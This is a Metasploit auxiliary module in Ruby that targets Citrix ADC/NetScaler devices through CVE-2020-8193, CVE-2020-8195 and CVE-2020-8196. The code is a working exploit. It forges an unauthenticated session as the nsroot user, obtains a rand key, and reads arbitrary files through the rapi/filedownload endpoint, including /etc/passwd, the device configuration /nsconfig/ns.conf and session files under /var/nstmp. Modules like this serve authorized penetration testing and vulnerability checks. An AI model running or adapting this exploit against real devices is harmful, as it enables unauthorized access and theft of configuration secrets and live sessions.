## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, 'Name' => 'Citrix ADC NetScaler - Local File Inclusion (Metasploit)', 'Description' => %{ The remote device is affected by multiple vulnerabilities. An authorization bypass vulnerability exists in Citrix ADC and NetScaler Gateway devices. An unauthenticated remote attacker with access to the `NSIP/management interface` can exploit this to bypass authorization (CVE-2020-8193). And Information disclosure (CVE-2020-8195 and CVE-2020-8196) - but at this time unclear which. }, 'Author' => [ 'Donny Maasland', # Discovery 'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise) ], 'References' => [ ['CVE', '2020-8193'], ['CVE', '2020-8195'], ['CVE', '2020-8196'], ['URL', 'https://dmaasland.github.io/posts/citrix.html'], ['URL', 'https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/amp/'], ['URL', 'https://github.com/jas502n/CVE-2020-8193'] ], 'DisclosureDate' => '2020-07-09', 'License' => MSF_LICENSE, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true } )) register_options([ OptEnum.new('MODE', [true, 'Start type.', 'discovery', [ 'discovery', 'interactive', 'sessions']]), OptString.new('PATH', [false, 'File or directory you want to read', '/nsconfig/ns.conf']), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def create_session params = 'type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1' request = { 'method' => 'POST', 'uri' => "#{normalize_uri(target_uri.path, 'pcidss', 'report')}?#{params}", 'ctype' => 'application/xml', 'headers' => { 'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8), 'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8) }, 'data' => '' } request = request.merge({'cookie' => @cookie}) if @cookie response = send_request_raw(request) unless response && response.code == 406 print_error("#{@message_prefix} - No response to session request.") return end response.get_cookies end def fix_session_rand response = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'menu', 'ss'), 'cookie' => @cookie, 'vars_get' => { 'sid' => 'nsroot', 'username' => 'nsroot', 'force_setup' => '1' } ) if response && response.code == 302 location = response.headers['location'] response = send_request_cgi( 'method' => 'GET', 'uri' => location, 'cookie' => @cookie ) return unless response && response.code == 200 end response.to_s.scan(/rand = "([^"]+)"/).join end def read_lfi(path, var_rand) params = "filter=path:#{path}" request = { 'method' => 'POST', 'uri' => "#{normalize_uri(target_uri.path, 'rapi', 'filedownload')}?#{params}", 'cookie' => @cookie, 'ctype' => 'application/xml', 'headers' => { 'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8), 'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8), 'rand_key' => var_rand }, 'data' => '' } response = send_request_raw(request) end def run_host(ip) proto = (datastore['SSL'] ? 'https' : 'http') @message_prefix = "#{proto}://#{ip}:#{datastore['RPORT']}" @cookie = create_session if @cookie && @cookie =~ /SESSID/ print_status("#{@message_prefix} - Got session: #{@cookie.split(' ')[0]}") var_rand = fix_session_rand unless var_rand print_error("#{@message_prefix} - Unable to get rand value.") return Exploit::CheckCode::Unknown end print_status("#{@message_prefix} - Got rand: #{var_rand}") print_status("#{@message_prefix} - Re-breaking session...") create_session case datastore['MODE'] when /discovery/ response = read_lfi('/etc/passwd'.gsub('/', '%2F'), var_rand) if response.code == 406 if response.body.include? ('root:*:0:0:') print_warning("#{@message_prefix} - Vulnerable.") return Exploit::CheckCode::Vulnerable end end when /interactive/ # TODO: parse response response = read_lfi(datastore['PATH'].gsub('/', '%2F'), var_rand) if response.code == 406 print_line("#{response.body}") end return when /sessions/ # TODO: parse response response = read_lfi('/var/nstmp'.gsub('/', '%2F'), var_rand) if response.code == 406 print_line("#{response.body}") end return end end print_good("#{@message_prefix} - Not Vulnerable.") return Exploit::CheckCode::Safe end end